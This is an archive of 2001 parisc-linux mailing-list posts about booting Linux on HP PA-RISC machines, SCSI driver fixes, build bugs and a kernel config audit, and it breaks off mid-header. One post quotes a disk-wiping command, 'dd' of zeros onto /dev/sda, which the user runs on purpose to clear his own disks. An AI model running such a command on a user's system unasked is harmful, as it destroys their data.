NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:26 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 08:51:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id C6202482A
	for <parisc-linux@parisc-linux.org>; Sat, 21 Apr 2001 08:51:24 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3LEq0c26199;
	Sat, 21 Apr 2001 10:52:00 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Grant Grundler <grundler@puffin.external.hp.com>,
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200104210648.AAA01233@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Sat, Apr 21, 2001 at 12:48:19AM -0600
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10884

Grant Grundler <grundler@puffin.external.hp.com>:
> One might consider this a bug that hasn't happened yet - thanks Eric!

Thank you very much for your cooperation.  This is the third real problem that
the CONFIG_ namespace audit has turned up, and a good example of the sort of
thing I have been hoping to accomplish with it.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

(Those) who are trying to read the Second Amendment out of the Constitution by
claiming it's not an individual right (are) courting disaster by encouraging
others to use the same means to eliminate portions of the Constitution they
don't like.
	-- Alan Dershowitz, Harvard Law School




From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hello and Question about the E45
Date: Sat, 21 Apr 2001 17:32:21 +0200
Organization: private
Lines: 57
Approved: news@gmane.org
Message-ID: <3AE1A805.C60DF838@dot.at>
References: <000001c0ca50$2b6c82e0$0414a8c0@darknight.gen.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620067 18524 80.91.229.3 (22 Nov 2014 01:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jason Saggers <psyclone@owbn.net.nz>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 09:35:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta04.chello.at (viemta04.chello.at [195.34.133.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEB2A482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Apr 2001 09:33:03 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta04.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010421153220.EIAF2375.viemta04@dot.at>;
          Sat, 21 Apr 2001 17:32:20 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10885

Hello !

At the moment, I am the only person who had booted Linux on an
E-server, I have the E55.

The E55 (and the others) have proprietary interfaces and three main
points
are affected:
	- serial multiport (serial console on port 0 !!!)
	- SCSI disks and SCSI sub system
	- parallel port

For the first (serial console) I wrote some "hacks" for the linux
kernel.
I added a tty-device driver for the PDC ROM console (polling, etc....),
and now I can boot the machine, with NFSROOT of course. Even login, etc
is working correctly.

If you have interest in more detail or in my kernel tree for the E55,
please
email to me.

I think for some debugging purposes or problems with serial devices, my
kernel add-on can also be interesting for the main-stream of linux.

With friendly regards
	Christoph Plattner

BTW: My new email address is 
	christoph.plattner@gmx.at    -- soon.

------------------------

Jason Saggers wrote:
> 
> Hi,
> 
>         I realiase that the E45's arent completely support by this project, but has anyone succeded in getting on to boot etc...
> 
>         I am getting it to boot part why... and the just stops..... No errors nothing
> 
>         Any information would be appreciated.  I am currently using the 0.5 iso images.  Am about to try the later kernels etc in the next couple of days.
> 
> Jason
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI problems on 73[05]
Date: Sat, 21 Apr 2001 17:37:57 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20010421173756.N11226@linuxcare.com>
References: <Pine.LNX.4.10.10104211247000.702-100000@tardis.home.dave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620067 18527 80.91.229.3 (22 Nov 2014 01:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dave Gilbert <gilbertd@treblig.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 10:38:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBAC8482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Apr 2001 10:38:12 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 33528B007; Sat, 21 Apr 2001 17:37:57 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.10.10104211247000.702-100000@tardis.home.dave>; from gilbertd@treblig.org on Sat, Apr 21, 2001 at 12:54:38PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10886

On Sat, Apr 21, 2001 at 12:54:38PM +0100, Dave Gilbert wrote:
> Hi,
>   As I mentioned in a previous mail, my first machine successfully is now
> net booting Linux/HP-PA.
> 
>   I am however having some problems with SCSI on it; I'm trying to do
> 
> dd if=/dev/zero of=/dev/sda
> 
> to clear the discs but am getting:
> 
> scsi0: Unable to abort command for target 5
> scsi0: Unable to send Bus Device Reset for target 5
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: istat = 0c, sstat0 = 00, sstat1 = 00, dstat = 00
> scsi0: dsp = 00075038 (script[0x140e]), dsps = 00075cde, target = 0
> scsi0: Failing command for ID5
> SCSI disk error : host 0 channel 0 id 5 lun 0 return code = 2
>  I/O error: dev 08:00, sector 128
>  I/O error: dev 08:00, sector 130

Please can you try booting with

	sim700=nodisc:0xff

added to the PALO command line, and let me know if it helps.

Oh, and how often/quickly does it fail?

Are you confident that scsi disks, cable and terminators are ok?
Do you get the problems with both disks?

Thanks,
  Richard





From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Gilbert <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI problems on 73[05]
Date: Sat, 21 Apr 2001 20:13:15 +0100 (BST)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104211954400.702-100000@tardis.home.dave>
References: <20010421173756.N11226@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620067 18530 80.91.229.3 (22 Nov 2014 01:34:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 13:17:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from protactinium (protactinium.btinternet.com [194.73.73.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74546482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 21 Apr 2001 13:17:40 -0600 (MDT)
Original-Received: from [213.122.109.211] (helo=tardis)
	by protactinium with esmtp (Exim 3.03 #83)
	id 14r2sk-0004kT-00; Sat, 21 Apr 2001 20:17:22 +0100
X-Sender: gilbertd@tardis.home.dave
In-Reply-To: <20010421173756.N11226@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10887

uOn Sat, 21 Apr 2001, Richard Hirst wrote:

> Please can you try booting with
> 
> 	sim700=nodisc:0xff
> 
> added to the PALO command line, and let me know if it helps.

Yes, it works a treat. (I edited into the header of the LIF image I
downloaded using vi.....)

> Oh, and how often/quickly does it fail?

Every time; it runs for perhaps 10 seconds (well I don't know if its
running or about to timeout) and then gives the errors I posted.  Same
errors every time.

With your command line option I've just zero'd both discs with no errors
at all.

> Are you confident that scsi disks, cable and terminators are ok?

No. I've just been given the machine and don't know what its previous
state was (other than it was working fine a few months ago).  Its a 735
with the two discs internal in the mounting to the right of the box
(behind the LED bit I guess) with one of the little tiny HP SCSI-SCSI link
leads to the fast-narrow connector on the back of the machine.  This is
going off to another box (not switched on) which has a terminator on the
back and some other discs in.  That box is a known good one (as is the
cable to it).

 > Do you get the problems with both disks?

Yes.

Oh, also HP-UX booted off it OK - well it did until I just cleaned it
down.....

Dave

-- 
 ---------------- Have a happy GNU millennium! ----------------------   
/ Dr. David Alan Gilbert    | Running GNU/Linux on Alpha,68K| Happy  \ 
\ gro.gilbert @ treblig.org | MIPS,x86,ARM, SPARC and HP-PA | In Hex /
 \ _________________________|_____ http://www.treblig.org   |_______/





From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: 22 Apr 2001 01:39:25 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <d3n1992576.fsf@lxplus015.cern.ch>
References: <20010420173514.A21392@thyrsus.com> <E14qjmd-0002QD-00@the-village.bc.nu> <20010420203700.E21392@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620068 18534 80.91.229.3 (22 Nov 2014 01:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:28 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	David Woodhouse <dwmw2@infradead.org>, Nicolas Pitre <nico@cam.org>,
	linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr 21 17:41:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id A318B482A
	for <parisc-linux@parisc-linux.org>; Sat, 21 Apr 2001 17:41:14 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id BAA05676;
	Sun, 22 Apr 2001 01:39:27 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id BAA07939;
	Sun, 22 Apr 2001 01:39:25 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: "Eric S. Raymond"'s message of "Fri, 20 Apr 2001 20:37:00 -0400"
Original-Lines: 27
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10888

>>>>> "Eric" == Eric S Raymond <esr@thyrsus.com> writes:

Eric> Alan Cox <alan@lxorguk.ukuu.org.uk>:
>> Many of your 'broken' symbols arent. We have no idea what the real
>> amount is

Eric> If it can't be mechanically verified that the symbol has a
Eric> correct reference pattern within the tree, then it's broken.
Eric> That's a definition.

It's a definition but not necessarily the best one to follow.

Eric> The fact that it might become un-broken someday, by somebody's
Eric> intention to merge in future code, is interesting but irrelevant
Eric> to the fact that symbols broken in present time *mask bugs* in
Eric> present time.

Symbols that are not referenced at all by the code does not hide any
bugs. They might make it take longer time for people to configure
their kernel but thats about it.

This does not mean that obsolete symbols should not be removed,
however running around telling people to remove symbols that they
might be using in their tree does cause unnecessary work for the
people who are writing the code.

Jes




From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew van de Werken" <mvdw73@one.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] How do I use the FW scsi on 735?
Date: Sun, 22 Apr 2001 20:47:09 +1000
Lines: 232
Approved: news@gmane.org
Message-ID: <014101c0cb19$96dd4b80$1401a8c0@peewee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620068 18538 80.91.229.3 (22 Nov 2014 01:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:28 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 22 04:42:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail-ob01.one.net.au (mail-ob01.one.net.au [61.12.0.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B3C9482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Apr 2001 04:42:56 -0600 (MDT)
Original-Received: Received: [from peewee (async202-bri-isp-9.nas.one.net.au [61.12.65.203])
	by mail-ob01.one.net.au  with SMTP id f3MAgsK02316
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Apr 2001 20:42:55 +1000 (EST)]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Xref: news.gmane.org gmane.linux.ports.parisc:10889

Hi folks:

I have a 735 which I have managed to boot using a disk I originally hosted
on an x86 Linux box. However, this disk is a narrow scsi disk, while I want
to use the other disks I have for this machine (which are UW SCSI disks).
The problem I have is that while the system recognises the narrow scsi disk,
it doesn't recognise the UW scsi disks I have attached, even though these
are recognised at boot time by the HP PDC-ROM.

I've tried fdisk'ing the /dev/sdb and /dev/sdc devices, but these are
inaccessible (at least by fdisk); the devices don't seem to come up in the
boot sequence, while the narrow-scsi disk is recognised by Linux (I've
appended the whole boot sequence captured from the terminal).

Any ideas?

Cheers,
MvdW

PS: I added the sim700=nodisc:0xff line to the end of the command line as I
thought this might have something to do with the problem - I get the same
thing without it.

PPS: I *love* the fact I can run Linux on this! Thanks to all!

PPPS: Anyone needing any help in booting from a SCSI disk originally hosted
from x86-linux, look at the ESIEE web site: http://mkhppa1.esiee.fr/en -
they have great info.



(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.

PDC ROM rev. 1.1
IODC ROM rev. 1.0
304 MB of memory configured and tested.


Selecting a system to boot.
To stop selection process, press and hold the ESCAPE key.

Selection process stopped.

Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.4.0                 SEAGATE ST15150N
P1                    fwscsi.6.0               HP      C2247
P2                    fwscsi.3.0               SEAGATE ST43401N



b)    Boot from specified device
s)    Search for bootable devices
a)    Enter Boot Administration mode
x)    Exit and continue boot sequence
?)    Help

Select from menu: b p0

Trying scsi.4.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl root@zookeeper Sun Apr 22 08:12:41 EST 2001
0/vmlinux 2499228 bytes @ 0x48000
0/palo-cmdline '2/boot/vmlinux HOME=/ TERM=linux console=ttyS0
root=/dev/sda2 si
m700=nodisc:0xff'
/dev/ida1  f0         63      32067
/dev/ida2  83      32130    3277260
/dev/ida3  82    3309390     626535
/dev/ida4  83    3935925    4450005
Kernel: partition 2 file /boot/vmlinux
ext2 block size 4096
ext2_mount(partition 2) returns 0fail!
ext2_open(/boot/vmlinux) = 3
ELF32 executable
Entry 00100188 first 00100000 n 4
Segment 0 load 00100000 size 1394304 mediaptr 0x1000
Segment 1 load 00256000 size 174968 mediaptr 0x156000
Segment 2 load 00284000 size 221184 mediaptr 0x181000
Segment 3 load 002e1768 size 68976 mediaptr 0x1b7768
branching to kernel entry point 0x00100188
PDC Console Initialized
Linux version 2.4.0 (root@zookeeper) (gcc version 3.0 20010315 (prerelease))
#6
Sun Apr 22 07:39:30 EST 2001
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux console=ttyS0 root=/dev/sda2
sim700=nodisc
:0xff'
PALO initrd 0-0
model   00002030 00000481 00000000 00000000 7778dc84 ffffffff 00000004
0000000a
0000000a
vers    0000000b
CPUID   vers 0 rev 0
model   9000/735
Total Memory: 304 Mb
pagetable_init
On node 0 totalpages: 77824
zone(0): 77824 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Outfield Core BA (11) at 0xf082f000, versions 0x9, 0x0, 0x70, 0x0, 0x0
2. Outfield Core SCSI (10) at 0xf0825000, versions 0x9, 0x0, 0x71, 0x0, 0x0
3. Outfield Core HIL (10) at 0xf0821000, versions 0x9, 0x0, 0x73, 0x0, 0x0
4. Outfield Core RS-232 (10) at 0xf0823000, versions 0x9, 0x0, 0x75, 0x0,
0x0
5. Outfield Core RS-232 (10) at 0xf0822000, versions 0x9, 0x0, 0x75, 0x0,
0x0
6. Outfield Core Centronics (10) at 0xf0824000, versions 0x9, 0x0, 0x74,
0x0, 0x
0
7. Outfield FW SCSI (10) at 0xf0830000, versions 0x9, 0x0, 0x7c, 0x0, 0x0
8. Outfield Audio (10) at 0xf1000000, versions 0x9, 0x0, 0x7f, 0x0, 0x0
9. Outfield FDDI (10) at 0xf0831000, versions 0x9, 0x0, 0x7d, 0x0, 0x0
10. Cobra EISA BA (11) at 0xfc000000, versions 0x4, 0x0, 0x76, 0x0, 0x0
11. Hardball (735/99) (0) at 0xfffbe000, versions 0x203, 0x0, 0x4, 0x0, 0x81
12. Hardball (1) at 0xfffbf000, versions 0x19, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
Kernel command line: HOME=/ TERM=linux console=ttyS0 root=/dev/sda2
sim700=nodis
c:0xff
Calibrating delay loop... 98.71 BogoMIPS
Memory: 304048k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
VFS: Diskquotas version dquot_6.4.0 initialized
POSIX conformance testing by UNIFIX
ASP version 20 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI
ena
bled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
ppdev: user-space parallel port driver
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
  Vendor: SEAGATE   Model: ST15150N          Rev: 0023
  Type:   Direct-Access                      ANSI SCSI revision: 02
Detected scsi disk sda at scsi0, channel 0, id 4, lun 0
SCSI device sda: 8388315 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
IP-Config: No network devices available.
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
modprobe: modprobe: Can't open dependencies file
/lib/modules/2.4.0/modules.dep
(No such file or directory)
INIT: version 2.78 booting
Activating swap...
Adding Swap: 313256k swap-space (priority -1)
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended
Calculating module dependencies... depmod: Can't open
/lib/modules/2.4.0/modules
.dep for writing
done.
Loading modules:
modprobe: Can't open dependencies file /lib/modules/2.4.0/modules.dep (No
such f
ile or directory)
Checking all file systems...
Parallelizing fsck version 1.19 (13-Jul-2000)
Setting kernel variables.
Mounting local filesystems...
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended
/dev/sda4 on /extra type ext2 (rw,errors=remount-ro)
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: done.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Sat Sep 26 02:01:15 MDT 1998

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
INIT: Entering runlevel: 2
Restoring IP chains: ipchains: Incompatible with this kernel
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting internet superserver: inetd.
Starting OpenBSD Secure Shell server: sshd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Debian GNU/Linux testing/unstable
pehc base tarball 2001-04-04 see /home/demo/README for more info
hippo login:





From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dave Gilbert <gilbertd@treblig.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Current CVS gcc build
Date: Sun, 22 Apr 2001 14:31:16 +0100 (BST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10104221429520.3101-100000@tardis.home.dave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620068 18543 80.91.229.3 (22 Nov 2014 01:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 22 07:35:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91CF0482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Apr 2001 07:35:15 -0600 (MDT)
Original-Received: from [213.122.37.179] (helo=tardis)
	by tungsten.btinternet.com with esmtp (Exim 3.03 #83)
	id 14rK1B-0005ia-00
	for parisc-linux@lists.parisc-linux.org; Sun, 22 Apr 2001 14:35:13 +0100
X-Sender: gilbertd@tardis.home.dave
Xref: news.gmane.org gmane.linux.ports.parisc:10890

Hi,
  In the current puffin CVS gcc a make install tried to install assert.h
in /install rather than in prefix.

Dave

-- 
 ---------------- Have a happy GNU millennium! ----------------------   
/ Dr. David Alan Gilbert    | Running GNU/Linux on Alpha,68K| Happy  \ 
\ gro.gilbert @ treblig.org | MIPS,x86,ARM, SPARC and HP-PA | In Hex /
 \ _________________________|_____ http://www.treblig.org   |_______/





From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with glibc
Date: Sun, 22 Apr 2001 20:20:57 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010422202057.Y18464@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.10.10104201906260.21140-100000@gate.ixs.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620068 18550 80.91.229.3 (22 Nov 2014 01:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andreas Thienemann <andreas@thienemann.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 22 13:21:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB0DC482A
	for <parisc-linux@parisc-linux.org>; Sun, 22 Apr 2001 13:21:20 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14rPPl-0006C3-00; Sun, 22 Apr 2001 20:20:57 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.10.10104201906260.21140-100000@gate.ixs.com>; from andreas@thienemann.net on Fri, Apr 20, 2001 at 07:10:43PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10891

On Fri, Apr 20, 2001 at 07:10:43PM +0200, Andreas Thienemann wrote:
> while trying to compile the current glibc snapshot from the puffin-cvs, make
> segfaults:
> Has anyone ever experienced a similar problem? This segfault is
> reproducable and it's the first time that happened. gcc did compile
> correct, the same with the kernel itself.

Yes, I was getting it too.  After my recent kernel checkin to fix the
stat64 struct, I was able to build glibc successfully.  My theory is that
glibc was trying to call the *stat64 syscalls and the kernel was happily
writing all over user memory.  I would be grateful if you updated your
(running) kernel to head of CVS and tried building glibc again.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E-mail address change in Hardware database !!
Date: Sun, 22 Apr 2001 23:57:24 +0200
Organization: private
Lines: 26
Approved: news@gmane.org
Message-ID: <3AE353C4.B2AA2407@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620069 18551 80.91.229.3 (22 Nov 2014 01:34:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr 22 15:57:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from viemta05.chello.at (viemta05.chello.at [195.34.133.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7A4B482A
	for <parisc-linux@parisc-linux.org>; Sun, 22 Apr 2001 15:57:25 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viemta05.chello.at
